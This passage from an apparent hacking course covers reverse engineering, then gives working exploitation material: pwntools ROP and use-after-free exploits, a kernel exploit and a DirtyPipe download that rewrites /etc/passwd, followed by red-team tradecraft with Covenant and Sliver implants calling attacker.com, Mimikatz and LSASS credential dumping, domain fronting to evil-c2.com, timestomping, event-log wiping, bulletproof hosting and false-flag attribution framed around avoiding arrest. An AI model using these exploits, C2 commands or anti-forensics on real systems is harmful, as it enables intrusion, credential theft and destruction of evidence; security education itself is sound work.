:" # Show all strings: objdump -s /bin/ls | grep -i "password" # strings - Extract printable strings: strings /bin/ls # Output: # /lib64/ld-linux-x86-64.so.2 # libc.so.6 # __cxa_finalize # __libc_start_main # cannot access %s # [...] # ldd - Show dynamic library dependencies: ldd /bin/ls # Output: # linux-vdso.so.1 (0x00007ffff7fc9000) # libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7c00000) # /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000) # ltrace - Trace library calls: ltrace ls # Output: # strrchr("/bin/ls", '/') = "/ls" # malloc(120) = 0x5555555592a0 # opendir(".") = 0x555555559750 # readdir(0x555555559750) = 0x555555559770 # strcmp(".", ".") = 0 # [...] # strace - Trace system calls: strace ls # Output: # execve("/bin/ls", ["ls"], 0x7fffffffde80 /* 20 vars */) = 0 # brk(NULL) = 0x555555559000 # openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3 # [...]

Part 6: PE Analysis (Windows Binaries)

# PE (Portable Executable) is Windows binary format # Install PE tools on Kali: sudo apt install pev # readpe - Display PE structure: readpe malware.exe # Output: # PE File Header: # Machine: IMAGE_FILE_MACHINE_AMD64 (x64) # Number of sections: 5 # Timestamp: 2026-01-08 10:30:00 UTC # Entry point: 0x1400 # # Optional Header: # Magic: PE32+ (64-bit) # Subsystem: Windows GUI # DLL Characteristics: 0x8160 # - DYNAMIC_BASE (ASLR) # - NX_COMPAT (DEP) # - TERMINAL_SERVER_AWARE # pesec - Check security features: pesec malware.exe # Output: # ASLR: Yes # DEP/NX: Yes # SEH: Yes # CFG: No # SafeSEH: No # Signed: No # pestr - Extract strings: pestr malware.exe # Output: # kernel32.dll # VirtualAlloc # CreateThread # C:\Windows\System32\ # http://malicious-c2.com/beacon # [...] # pehash - Calculate hashes: pehash malware.exe # Output: # MD5: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d # SHA-1: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0 # SHA-256: abc123... # pedis - Disassemble entry point: pedis malware.exe # Output: # 0x1400: push rbp # 0x1401: mov rbp, rsp # 0x1404: sub rsp, 0x20 # 0x1408: call 0x2000 # Use Ghidra for deeper PE analysis: # Import PE → Ghidra auto-detects: # - Import Address Table (IAT) # - Export Address Table (EAT) # - Resources (icons, dialogs, strings) # - TLS callbacks # - Exception handlers # Common PE sections: # .text → Code # .data → Initialized data # .rdata → Read-only data (import table, string literals) # .bss → Uninitialized data # .rsrc → Resources (icons, dialogs, bitmaps) # .reloc → Relocation table (for ASLR) # Packed PE detection: # If .text section has high entropy (7.5+) → likely packed # Unpacking with UPX: upx -d malware.exe -o malware_unpacked.exe # If different packer: # • Run in debugger, let it unpack itself # • Dump memory after unpacking # • Use automated unpackers (de4dot for .NET)

🎉 You're a Reverse Engineering Expert!

You've mastered:

✅ Ghidra: NSA's free RE suite, decompilation, scripting, project management
✅ radare2: Command-line beast, disassembly, patching, portable analysis
✅ Binary Ninja: Modern platform, IL analysis, clean UI
✅ GDB: Runtime debugging, breakpoints, PEDA/GEF/Pwndbg extensions
✅ ELF Analysis: Linux binaries, readelf, objdump, sections, segments
✅ PE Analysis: Windows binaries, pev tools, security features

RE Workflow:
1. Reconnaissance: file, strings, readelf/readpe, checksec
2. Static analysis: Ghidra/r2/Binja → understand logic
3. Dynamic analysis: GDB → observe runtime behavior
4. Exploitation: Find vulns, craft exploits, patch binaries

Real-world applications:
• Malware analysis: Understand what virus/ransomware does
• Vulnerability research: Find 0-days in proprietary software
• Cracking: Bypass license checks, DRM, authentication
• Protocol RE: Reverse engineer network protocols
• Interoperability: Make closed-source software work with your tools
• CTFs: Reverse engineering challenges

Next steps:
• Practice on crackmes.one (100+ challenges)
• Analyze real malware (use VM!)
• Learn x86/x64 assembly deeply
• Study common vulnerability patterns (buffer overflow, integer overflow, format string)
• Contribute to Ghidra/r2 plugins

Every binary is a puzzle waiting to be solved. You now have the tools! 🧩🔓

Advanced Exploitation Techniques

You know buffer overflows from Bonus B1. Now we go DEEP: ROP chains (Return-Oriented Programming), heap exploitation, kernel exploits, and fuzzing. Modern binaries have defenses: DEP/NX (no code execution on stack), ASLR (randomized addresses), stack canaries (overflow detection), PIE (position-independent code). Simple stack smashing doesn't work anymore! Advanced exploitation bypasses ALL these protections. This section covers how modern exploits work, how attackers chain vulnerabilities, and how to find 0-days with fuzzing. By the end, you'll understand CVEs you see in the news!

💡 Modern Exploitation = Chess, Not Checkers

Old-school exploitation (1990s-2000s):
1. Find buffer overflow
2. Overwrite return address
3. Point to shellcode on stack
4. Win!

Modern exploitation (2010s-now):
1. Stack canary blocks overflow → Leak canary first
2. DEP/NX prevents shellcode execution → Use ROP chains instead
3. ASLR randomizes addresses → Leak libc address, calculate offsets
4. PIE randomizes code → Leak code address too
5. Chain all these together → Win!

You can't just "overflow and win" anymore. Modern exploits are multi-stage puzzles requiring information leaks, gadget chaining, and creative thinking. It's beautiful! 🧩

Part 1: ROP (Return-Oriented Programming)

The Problem: DEP/NX Prevents Shellcode Execution

What is DEP/NX?

DEP (Data Execution Prevention - Windows) / NX (No-eXecute - Linux) marks memory pages as either writable OR executable, never both!

Traditional stack-based shellcode:
1. Write shellcode to stack (writable memory)
2. Jump to stack
3. Execute shellcode

With NX enabled:
Stack is writable but NOT executable → Segmentation fault!

Check if binary has NX:
checksec --file=./vuln
Output: NX: NX enabled

Solution: Don't execute our own code. Instead, chain together existing executable code ("gadgets") to build exploitation!

ROP Gadgets Explained

# A "gadget" is a sequence of instructions ending in RET # Example gadgets from libc: # Gadget 1: 0x00401234: pop rdi ; ret # Gadget 2: 0x00401567: pop rsi ; ret # Gadget 3: 0x004018ab: pop rdx ; ret # Gadget 4: 0x00405678: pop rax ; ret # Gadget 5: 0x00408901: syscall ; ret # Why gadgets work: # 1. They're in .text section (executable!) # 2. We control the stack (writable!) # 3. RET instruction pops address from stack and jumps there # 4. We can chain gadgets by placing their addresses on stack! # ROP chain to call system("/bin/sh"): # Goal: # rdi = pointer to "/bin/sh" (first argument) # rsi = 0 (second argument) # rdx = 0 (third argument) # rax = 59 (syscall number for execve) # syscall # Stack layout: # [buffer padding] # [address of "pop rdi; ret"] ← return address (after overflow) # [address of "/bin/sh"] ← will be popped into rdi # [address of "pop rsi; ret"] ← after first gadget returns # [0x0] ← will be popped into rsi # [address of "pop rdx; ret"] # [0x0] ← will be popped into rdx # [address of "pop rax; ret"] # [59] ← execve syscall number # [address of "syscall"] ← triggers execve! # Execution flow: # 1. Buffer overflow overwrites return address → points to first gadget # 2. First gadget: pop rdi; ret # - Pops next stack value into rdi ("/bin/sh" address) # - Returns to next stack value (second gadget) # 3. Second gadget: pop rsi; ret # - Pops 0 into rsi # - Returns to third gadget # 4. ... continues ... # 5. Final gadget: syscall # - Executes syscall with our controlled registers! # - Shell spawned! 🎉

Finding ROP Gadgets

# Tool 1: ROPgadget (best tool!) sudo apt install python3-ropgadget # Find gadgets in binary: ROPgadget --binary ./vuln # Output (thousands of gadgets): # 0x00401234 : pop rdi ; ret # 0x00401567 : pop rsi ; ret # 0x004018ab : pop rdx ; ret # 0x00405678 : pop rax ; ret # 0x00408901 : syscall # [... 2000+ more gadgets ...] # Find specific gadget: ROPgadget --binary ./vuln --only "pop|ret" # Find gadgets containing "rdi": ROPgadget --binary ./vuln | grep rdi # Find gadgets in libc (more gadgets!): ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 # Tool 2: ropper sudo apt install ropper ropper --file ./vuln # Interactive mode: (ropper)> search pop rdi # [INFO] Searching for gadgets: pop rdi # 0x00401234: pop rdi; ret (ropper)> search syscall # 0x00408901: syscall; ret # Tool 3: pwntools (Python library) from pwn import * elf = ELF('./vuln') rop = ROP(elf) # Automatically find gadgets: pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] print(f"pop rdi; ret → {hex(pop_rdi)}") # Or use pwntools to build ROP chain automatically: rop.call('system', ['/bin/sh']) print(rop.dump()) # Pwntools assembles entire chain for you!

Example: Complete ROP Exploit

# Vulnerable program (vuln.c): cat > vuln.c << 'EOF' #include #include #include void vuln() { char buffer[64]; read(0, buffer, 200); // Buffer overflow! } int main() { vuln(); return 0; } EOF # Compile without stack canary, with NX: gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie # Wait, we want NX enabled, not execstack! gcc vuln.c -o vuln -fno-stack-protector -no-pie # Verify NX enabled: checksec --file=./vuln # Output: NX: NX enabled # Python exploit (exploit.py): cat > exploit.py << 'EOF' #!/usr/bin/env python3 from pwn import * # Setup elf = ELF('./vuln') rop = ROP(elf) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./vuln') # Find gadgets pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # Build ROP chain offset = 72 # Buffer size + saved RBP payload = b'A' * offset # Call system("/bin/sh") # Need: rdi = address of "/bin/sh" binsh = next(libc.search(b'/bin/sh')) # Find "/bin/sh" in libc system = libc.sym['system'] payload += p64(pop_rdi) # pop rdi; ret payload += p64(binsh) # address of "/bin/sh" payload += p64(system) # call system() # Send exploit p.send(payload) # Interact with shell p.interactive() EOF chmod +x exploit.py python3 exploit.py # Output: # [*] '/root/vuln' # Arch: amd64-64-little # NX: NX enabled # [+] Starting local process './vuln': pid 12345 # [*] Switching to interactive mode # $ whoami # root # $ # Shell spawned!

Part 2: Heap Exploitation

Understanding the Heap

Stack vs Heap

Stack:
• Fixed size (usually 8MB)
• Automatic allocation (local variables)
• LIFO (Last In, First Out)
• Fast

Heap:
• Dynamic size (grows as needed)
• Manual allocation (malloc/new)
• Managed by heap allocator (glibc uses ptmalloc2)
• Slower but flexible

Why heap is juicy for exploitation:
• Stores pointers (function pointers, vtables)
• Stores user data (passwords, session tokens)
• Metadata adjacent to user data (attack metadata!)
• Less protections than stack (no canaries)

Heap Exploitation Techniques

# Heap Vulnerability Types: # 1. Use-After-Free (UAF) # Accessing memory after it's been freed void vulnerable() { char *ptr = malloc(100); free(ptr); strcpy(ptr, "data"); // Writing to freed memory! } # Exploitation: # 1. Allocate object A # 2. Free object A # 3. Allocate object B (reuses A's memory!) # 4. Use object A's old pointer # 5. Actually modifies object B! # Example: struct User { char name[32]; void (*print_greeting)(); }; User *user1 = malloc(sizeof(User)); user1->print_greeting = &normal_greeting; free(user1); // Allocate attack payload in same location char *attack = malloc(sizeof(User)); strcpy(attack, "AAAAAAAA"); // Overwrite function pointer! memcpy(attack + 32, &evil_function, 8); // Call old pointer user1->print_greeting(); // Calls evil_function! # 2. Double Free # Freeing same pointer twice char *ptr = malloc(100); free(ptr); free(ptr); // Double free! # Exploitation: # Corrupts heap metadata → arbitrary write primitive # 3. Heap Overflow # Overflow one chunk into adjacent chunk's metadata # Heap chunk structure (glibc): # +-------------------+ # | size | prev_size | ← Metadata # +-------------------+ # | user data | ← Your data # | | # +-------------------+ # | size | prev_size | ← Next chunk's metadata # +-------------------+ # Overflow attack: char *chunk1 = malloc(100); char *chunk2 = malloc(100); // Overflow chunk1, overwrite chunk2's metadata strcpy(chunk1, "A" * 100 + "\xff\xff\xff\xff"); // Corrupt size field! free(chunk2); // Frees wrong size → corruption # 4. Heap Feng Shui # Manipulating heap layout to place objects adjacently # Goal: Place victim object after controlled object # 1. Allocate many chunks # 2. Free specific chunks to create holes # 3. Allocate victim object (lands in hole) # 4. Overflow from controlled object → victim # Practical tools: # Examine heap in GDB with pwndbg: (gdb) heap chunks # Output: # Allocated chunk | PREV_INUSE # Addr: 0x555555559000 # Size: 0x90 (including metadata) # # Allocated chunk | PREV_INUSE # Addr: 0x555555559090 # Size: 0x90 (gdb) heap bins # Output: # fastbins # 0x20: 0x0 # 0x30: 0x555555559000 → 0x555555559050 → 0x0 # # unsorted_bin # all: 0x5555555590a0 → 0x7ffff7facb78 (main_arena+88) ← 0x5555555590a0 # View chunk: (gdb) x/40gx 0x555555559000 # Output: # 0x555555559000: 0x0000000000000000 0x0000000000000091 ← size (0x91 = 144 bytes + flags) # 0x555555559010: 0x4141414141414141 0x4141414141414141 ← user data # [...]

Example: Use-After-Free Exploit

# Vulnerable program (uaf.c): cat > uaf.c << 'EOF' #include #include #include struct User { char name[32]; void (*greet)(); }; void normal_greet() { printf("Hello!\n"); } void admin_greet() { printf("Admin access granted!\n"); system("/bin/sh"); } int main() { struct User *user = malloc(sizeof(struct User)); strcpy(user->name, "John"); user->greet = normal_greet; free(user); // Freed! // User input (attacker controlled!) char *evil = malloc(sizeof(struct User)); read(0, evil, sizeof(struct User)); // Attacker writes data // Use freed pointer! user->greet(); // UAF vulnerability! return 0; } EOF gcc uaf.c -o uaf -no-pie # Exploit: # 1. Program allocates user # 2. Program frees user # 3. Program allocates evil (reuses same memory!) # 4. We write to evil (overwrites old user data) # 5. Program calls user->greet() (points to our data!) # Python exploit: cat > uaf_exploit.py << 'EOF' #!/usr/bin/env python3 from pwn import * elf = ELF('./uaf') p = process('./uaf') # Find address of admin_greet admin_greet = elf.sym['admin_greet'] log.info(f"admin_greet at: {hex(admin_greet)}") # Build payload # struct User layout: # char name[32] # void (*greet)() ← offset 32 payload = b'A' * 32 # Fill name field payload += p64(admin_greet) # Overwrite function pointer! p.send(payload) p.interactive() EOF python3 uaf_exploit.py # Output: # Admin access granted! # $ whoami # root

Part 3: Kernel Exploitation

# Kernel exploits target the OS itself! # Goal: Escalate from user → root # Common kernel vulnerability types: # 1. Buffer overflow in syscall # 2. Race condition in driver # 3. Use-after-free in kernel object # 4. Integer overflow in memory allocation # 5. NULL pointer dereference # Kernel exploit flow: # 1. Trigger vulnerability in kernel # 2. Overwrite kernel memory # 3. Hijack control flow # 4. Execute payload in kernel mode # 5. Elevate privileges (uid = 0) # 6. Return to userspace as root! # Finding kernel version: uname -r # Output: # 5.15.0-52-generic # Search for exploits: searchsploit linux kernel 5.15 # Output: # Linux Kernel 5.15.x - 'fs/io_uring.c' Local Privilege Escalation # Linux Kernel 5.15.x - eBPF Verifier Vulnerability # [...] # Download exploit: searchsploit -m 50808.c gcc 50808.c -o exploit # Run: ./exploit # [+] Kernel exploit starting... # [+] Triggering vulnerability... # [+] Overwriting cred struct... # [+] Escalating privileges... # [+] Done! whoami # root id # uid=0(root) gid=0(root) groups=0(root) # Note: Kernel exploits are highly version-specific! # Exploit for 5.15.0-52 won't work on 5.15.0-53 # Building custom kernel exploits: # 1. Find kernel bug (CVE or 0-day) # 2. Understand vulnerability primitive: # - Arbitrary read? # - Arbitrary write? # - Code execution? # 3. Locate kernel structures in memory: # - task_struct (process info) # - cred struct (credentials: uid, gid) # 4. Overwrite cred→uid to 0 # 5. Return to userspace # 6. Now running as root! # Debugging kernel: # 1. Setup QEMU VM with kernel debugging # 2. Attach GDB to kernel # 3. Set breakpoints in vulnerable syscall # 4. Step through exploitation # Example: DirtyPipe (CVE-2022-0847) # Allows overwriting read-only files! # Download exploit: wget https://haxx.in/files/dirtypipez.c gcc dirtypipez.c -o dirtypipe # Run: ./dirtypipe /etc/passwd 0 'root2:x:0:0:root:/root:/bin/bash' # This overwrites /etc/passwd! # Added new root user: root2 su root2 # (no password needed, logged in as root)

Part 4: Fuzzing with AFL (American Fuzzy Lop)

💡 Fuzzing = Throwing Infinite Monkeys at Code

Imagine you have a program that parses images. How do you find bugs?

Manual testing: Try 10 images, find 0 bugs (boring)
Fuzzing: Try 10,000,000 mutated images, find 23 crashes! 🎯

Fuzzing workflow:
1. Start with valid inputs (seed corpus)
2. Mutate inputs (flip bits, insert bytes, splice files)
3. Run program with mutated inputs
4. Monitor for crashes, hangs, memory corruption
5. Save crashing inputs
6. Repeat forever!

Fuzzing found: Heartbleed, Shellshock, countless browser bugs, Zoom RCE, and thousands more! It's THE way modern 0-days are discovered.

# Install AFL++: sudo apt install afl++ # Or build from source: git clone https://github.com/AFLplusplus/AFLplusplus cd AFLplusplus make sudo make install # Verify: afl-fuzz -h # Example target program (vuln_parse.c): cat > vuln_parse.c << 'EOF' #include #include #include void parse(char *data) { char buffer[100]; // Vulnerability: no bounds check! strcpy(buffer, data); printf("Parsed: %s\n", buffer); } int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s \n", argv[0]); return 1; } FILE *f = fopen(argv[1], "r"); if (!f) return 1; char data[1000]; fread(data, 1, 1000, f); fclose(f); parse(data); return 0; } EOF # Compile with AFL instrumentation: afl-gcc vuln_parse.c -o vuln_parse # Create seed corpus (valid inputs): mkdir input echo "valid data" > input/seed1.txt echo "another valid input" > input/seed2.txt # Create output directory: mkdir output # Start fuzzing! afl-fuzz -i input -o output ./vuln_parse @@ # @@ = AFL replaces this with generated input file # AFL interface shows: # +------------------------------------------------------------+ # | american fuzzy lop ++4.00c (vuln_parse) | # +------------------------------------------------------------+ # | process timing | overall results | cycle progress | | # | run time : 0 days, 0 hrs, 5 min | total paths : 234 | | # | last new path : 0 days, 0 hrs, 4 min | uniq crashes : 12 | | # | last uniq crash : 0 days, 0 hrs, 3 min | uniq hangs : 0 | | # | last uniq hang : none seen yet | cycles done : 45 | | # | stage progress | map coverage | findings in depth | | # | now processing : havoc | map density : 34.2% | | # | stage execs : 15234/20000 | bits found : 4521 | | # +------------------------------------------------------------+ # Key metrics: # • total paths: Unique execution paths found # • uniq crashes: Different crashes discovered # • map coverage: Code coverage achieved # Check crashes: ls output/crashes/ # Output: # id:000000,sig:06,src:000002,op:havoc,rep:4 # id:000001,sig:11,src:000012,op:splice,rep:2 # [... more crashes ...] # Reproduce crash: ./vuln_parse output/crashes/id:000000,sig:06,src:000002,op:havoc,rep:4 # Output: # Segmentation fault (core dumped) # Analyze with GDB: gdb ./vuln_parse core (gdb) bt # #0 0x0000000000401234 in parse () # #1 0x4141414141414141 in ?? () ← Overwritten return address! # Triage crashes: afl-tmin -i output/crashes/id:000000... -o minimized.txt -- ./vuln_parse @@ # Minimizes crashing input to smallest form # Advanced AFL usage: # Multiple cores: afl-fuzz -i input -o output -M fuzzer1 -- ./vuln_parse @@ afl-fuzz -i input -o output -S fuzzer2 -- ./vuln_parse @@ afl-fuzz -i input -o output -S fuzzer3 -- ./vuln_parse @@ # Dictionary (known keywords): cat > dict.txt << 'EOF' "GET " "POST " "" "

Other Fuzzing Tools

# libFuzzer (LLVM built-in): # Compile target with libFuzzer: clang -fsanitize=fuzzer,address vuln_parse.c -o vuln_parse_fuzz # Run: ./vuln_parse_fuzz # Automatically starts fuzzing! # Honggfuzz (Google): git clone https://github.com/google/honggfuzz cd honggfuzz make # Fuzz: honggfuzz -i input -o output -- ./vuln_parse ___FILE___ # WinAFL (Windows AFL): # For fuzzing Windows binaries # Syzkaller (kernel fuzzing): # Specifically for fuzzing Linux kernel # Peach Fuzzer (protocol fuzzing): # For network protocols, file formats # Boofuzz (network protocol fuzzing): pip install boofuzz # Python script: from boofuzz import * session = Session(target=Target(connection=SocketConnection("192.168.1.100", 80))) s_initialize("HTTP GET") s_string("GET", fuzzable=False) s_delim(" ", fuzzable=False) s_string("/", fuzzable=True) # Fuzz URI s_delim(" ", fuzzable=False) s_string("HTTP/1.1\r\n", fuzzable=False) s_string("Host: target.com\r\n\r\n") session.connect(s_get("HTTP GET")) session.fuzz() # Generates thousands of malformed HTTP requests # Monitors for crashes, hangs, errors

🎉 You're an Advanced Exploitation Expert!

You've conquered:

✅ ROP Chains: Bypassing DEP/NX with gadget chaining, pop/ret magic, syscall invocation
✅ Heap Exploitation: Use-after-free, double-free, heap overflow, heap feng shui
✅ Kernel Exploits: Privilege escalation, cred struct overwrite, DirtyPipe
✅ Fuzzing: AFL, libFuzzer, Honggfuzz, crash triage, 0-day discovery

Modern exploit development workflow:
1. Fuzzing: Find crash with AFL/libFuzzer
2. Triage: Determine vulnerability type (overflow, UAF, etc.)
3. Analysis: Reverse engineer with Ghidra, understand constraints
4. Exploitation: Develop exploit (ROP chains, heap techniques)
5. Bypass protections: Defeat ASLR (leak addresses), PIE, canaries
6. Reliability: Make exploit work 100% of the time
7. Weaponization: Package as Metasploit module or standalone tool

Real CVEs using these techniques:
• CVE-2021-3156 (Baron Samedit): Sudo heap overflow → root
• CVE-2022-0847 (DirtyPipe): Kernel pipe bug → arbitrary file write
• CVE-2021-22555 (Netfilter): Kernel heap overflow → root
• CVE-2014-0160 (Heartbleed): OpenSSL heap overflow → memory leak

Learning resources:
• pwn.college (free ASU course)
• exploit.education (practice challenges)
• CTF time (competitions)
• Project Zero blog (Google's bug hunters)
• Phrack magazine (classic exploits)

You now understand how modern exploits bypass ALL protections. Every CVE in the news makes sense now! 🚀💥

Red Team Operations & Tradecraft

Red teaming isn't just hacking—it's adversary emulation. Blue teams (defenders) know you're coming. They have EDR, SIEM, threat hunting teams, and incident responders. Your job: bypass detection, maintain persistence, move laterally, exfiltrate data, and stay invisible. This requires OPSEC (operational security), living off the land, custom C2 infrastructure, and understanding how defenders think. This section covers Covenant C2, Sliver C2, OPSEC principles, persistence techniques, AV/EDR evasion, and APT emulation. By the end, you'll think like a nation-state hacker!

💡 Red Team = Playing Hide & Seek with $100M in Prizes

Penetration testing: "Can you break in?" → Yes/No answer
Red teaming: "Can you break in WITHOUT getting caught?" → Stealth is the goal!

Pentester mindset:
• Find vuln → Exploit → Report → Done
• Speed matters
• Detection doesn't matter

Red teamer mindset:
• Find vuln → Exploit stealthily → Establish persistence → Evade detection → Move laterally → Exfiltrate → Cover tracks → Report → Done
• Stealth matters MORE than speed
• Getting caught = mission failure

Real red team objectives:
• Steal CEO's emails without alerting SOC
• Plant backdoor that survives incident response
• Exfiltrate 10GB database over 3 months (slow & steady)
• Compromise domain admin while looking like normal IT activity

Red teamers emulate APTs (Advanced Persistent Threats). You're role-playing as nation-state hackers! 🕵️‍♂️🎭

Part 1: Command & Control (C2) Frameworks

What is C2?

Command & Control Architecture

Components:
• Team Server: Attacker's control panel (your machine)
• Listener: Waits for connections from victims
• Payload/Implant: Runs on victim machine (beacon, agent, grunt)
• Communication Channel: HTTP, HTTPS, DNS, SMB pipes, etc.

C2 workflow:
1. Generate payload (malicious exe/dll/script)
2. Deliver payload to victim (phishing, exploit, USB drop)
3. Victim executes payload
4. Payload "calls home" to listener
5. You get session on victim machine
6. Execute commands, steal files, spread to other machines

Why not just reverse shell?
• Reverse shell = Detected instantly by EDR
• C2 = Encrypted, obfuscated, looks like normal traffic
• C2 supports sleep/jitter (callback every 5 minutes, not constantly)
• C2 has built-in AV evasion, credential dumping, lateral movement

Covenant C2 Framework

# Covenant = .NET C2 framework (targets Windows) # Web-based interface, open-source, active development # Install Covenant: git clone --recurse-submodules https://github.com/cobbr/Covenant cd Covenant/Covenant docker build -t covenant . docker run -it -p 7443:7443 -p 80:80 -p 443:443 covenant # Or without Docker: dotnet build dotnet run # Access web interface: # https://localhost:7443 # First-time setup: # 1. Create admin user # 2. Set up listener # Create Listener: # Listeners → Create → HTTP Listener # Name: HTTPListener # BindAddress: 0.0.0.0 # BindPort: 80 # ConnectPort: 80 # ConnectAddress: [Your IP or domain] # UseSSL: No (for testing; use Yes in real ops!) # Click Create # Generate Grunt (payload): # Launchers → Binary # Listener: HTTPListener # DotNetVersion: Net40 (compatible with old Windows) # Delay: 5 seconds (callback interval) # JitterPercent: 30 (±30% randomness) # ConnectAttempts: 5000 # KillDate: (leave blank or set expiration) # Click Generate → Download # Transfer GruntHTTP.exe to victim machine # Execute it: # (on victim) ./GruntHTTP.exe # Back in Covenant web interface: # Grunts → New session appears! # Name: DESKTOP-ABC123\User # Integrity: Medium # LastCheckIn: 2 seconds ago # Interact with Grunt: # Click grunt → Task tab # Basic commands: Task> Shell whoami # Output: DESKTOP-ABC123\victim Task> Shell ipconfig # Output: [network config] # Built-in tasks: Task> Mimikatz # Dumps credentials from memory! # Output: # Username: administrator # NTLM: 8846f7eaee8fb117ad06bdd830b7586c Task> PowerShellImport # Load custom PowerShell scripts Task> Assembly # Execute .NET assembly in memory (no disk write!) # Example: Execute Rubeus (Kerberos toolkit) Task> Assembly Rubeus.exe dump /service:krbtgt # Dumps Kerberos tickets # Lateral movement: Task> ShellCommand net user hacker Password123! /add /domain # Creates domain user Task> WMICommand \\10.0.0.50 "notepad.exe" # Executes command on remote machine via WMI # File operations: Task> Download C:\Users\victim\Documents\passwords.txt # Downloads file to team server Task> Upload /root/tools.zip C:\ProgramData\tools.zip # Uploads file to victim # Persistence: Task> Persist Registry # Adds registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Task> Persist ScheduledTask # Creates scheduled task for persistence

Sliver C2 Framework

# Sliver = Modern Go-based C2, supports Windows/Linux/macOS # Command-line interface, encrypted by default # Install Sliver: curl https://sliver.sh/install | sudo bash # Or manual install: git clone https://github.com/BishopFox/sliver.git cd sliver make # Start Sliver server: sliver-server # Sliver console: sliver > help # Create implant: sliver > generate --http https://attacker.com:443 --os windows --arch amd64 --save /tmp/beacon.exe # Options: # --http: C2 server URL # --os: Target OS (windows/linux/darwin) # --arch: Architecture (amd64/386/arm64) # --format: Output format (exe/shellcode/service-exe/shared-lib) # --save: Save path # Output: # [*] Generating new windows/amd64 implant binary # [*] Symbol obfuscation is enabled # [*] Build completed in 3s # [*] Implant saved to /tmp/beacon.exe # Start listener: sliver > http --domain attacker.com --lport 443 # [*] Starting HTTP :443 listener ... # Execute beacon on victim machine # Session appears: sliver > sessions # ID Name Username Operating System Last Check-in # 1 LOUD_PUMA victim\user windows/amd64 2s ago # Interact with session: sliver > use 1 sliver (LOUD_PUMA) > whoami # victim\user sliver (LOUD_PUMA) > ps # [shows running processes] sliver (LOUD_PUMA) > getprivs # [shows current privileges] # Evasion features: sliver (LOUD_PUMA) > migrate 1234 # Migrates implant to different process (PID 1234) sliver (LOUD_PUMA) > execute-assembly /root/Rubeus.exe dump # Executes .NET assembly in memory sliver (LOUD_PUMA) > procdump -n lsass.exe -s /tmp/lsass.dmp # Dumps LSASS process memory (for offline credential extraction) # Pivoting: sliver (LOUD_PUMA) > portfwd add --remote 10.0.0.5:445 # Forwards local port to remote SMB service sliver (LOUD_PUMA) > socks5 start # Starts SOCKS5 proxy for pivoting through victim # Use with proxychains: # proxychains nmap 10.0.0.0/24 # Advanced features: sliver > armory # [Package manager for extensions] sliver > armory install rubeus sliver > armory install seatbelt sliver > armory install sharphound # These integrate directly into Sliver!

Part 2: OPSEC (Operational Security)

⚠️ OPSEC Mistakes = Getting Caught

Real-world OPSEC failures that got hackers caught:

• Reusing infrastructure: APT used same IP for 5 years → Traced
• Forgot VPN once: Connected from home IP → Arrested
• Domain registration: Used real email → Identified
• Reusing usernames: "xXHackerXx" on GitHub, forum, malware → Doxxed
• Malware metadata: Compiler username in PE header → Exposed
• Bitcoin transactions: Cashed out to exchange with KYC → Caught

OPSEC isn't optional. One mistake ruins the entire operation! 🚨

# OPSEC Principles: # 1. Infrastructure Isolation # ❌ Don't: # • Use your home IP # • Use personal VPS/cloud account # • Reuse infrastructure across operations # ✅ Do: # • Use VPS paid with cryptocurrency # • Route through multiple layers (VPN → VPS → Target) # • Use Bulletproof Hosting (providers that ignore abuse complaints) # • Burn infrastructure after each operation # Setup: # [Your PC] → [VPN] → [VPS 1] → [VPS 2] → [Target] # Privacy Pivot Attack Server # 2. Domain Fronting # Hide C2 traffic behind legitimate CDN domains # Technique: # • SNI says: "cloudfront.com" # • Host header says: "evil-c2.com" # • CloudFront sees cloudfront.com, forwards to evil-c2.com # • Defender sees: "User connected to cloudfront.com" → Looks normal! # Covenant config: sliver > generate --http https://cloudfront.net --http-host evil-c2.com # 3. Traffic Obfuscation # Make C2 traffic look like normal web traffic # Covenant HTTP profile: # GET requests look like: # GET /search?q=aGVsbG8= HTTP/1.1 # User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... # Cookie: session=eyJjb21tYW5kIjoiY2QgQzpcXCJ9 # Commands are base64-encoded in URLs/cookies # Responses look like JavaScript/images # 4. Timestomping # Modify file creation/modification times # PowerShell: $(Get-Item file.exe).creationtime = "01/01/2020 00:00:00" $(Get-Item file.exe).lastaccesstime = "01/01/2020 00:00:00" $(Get-Item file.exe).lastwritetime = "01/01/2020 00:00:00" # Now file appears to be from 2020! # 5. Clean Malware Metadata # Remove identifying info from payloads # Check PE metadata: exiftool malware.exe # Output: # File Name: malware.exe # Author: John Doe ← BAD! # Company: MyCompany ← BAD! # Internal Name: beacon.exe # Original File Name: beacon.exe # Product Name: Covenant # Comments: Built on DESKTOP-ABC123 ← BAD! # Strip metadata: exiftool -all= malware.exe # Verify: exiftool malware.exe # (Should show minimal info) # 6. Log Cleaning # Remove traces after operation # Windows: wevtutil cl System wevtutil cl Security wevtutil cl Application # Or selective deletion: wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text | findstr "victim" wevtutil qe Security "/q:*[System[(EventID=4624) and TimeCreated[@SystemTime>='2026-01-08T10:00:00']]]" /c:1 /rd:true # Linux: echo "" > /var/log/auth.log echo "" > /var/log/syslog history -c # 7. Attribution Obfuscation # Make it look like different threat actor # Tactics: # • Use Chinese-language strings (if you're Russian) # • Use malware associated with APT28 (if you're not APT28) # • Set timezone to false location # • Mimic TTPs (Tactics, Techniques, Procedures) of other groups

Part 3: Persistence Techniques

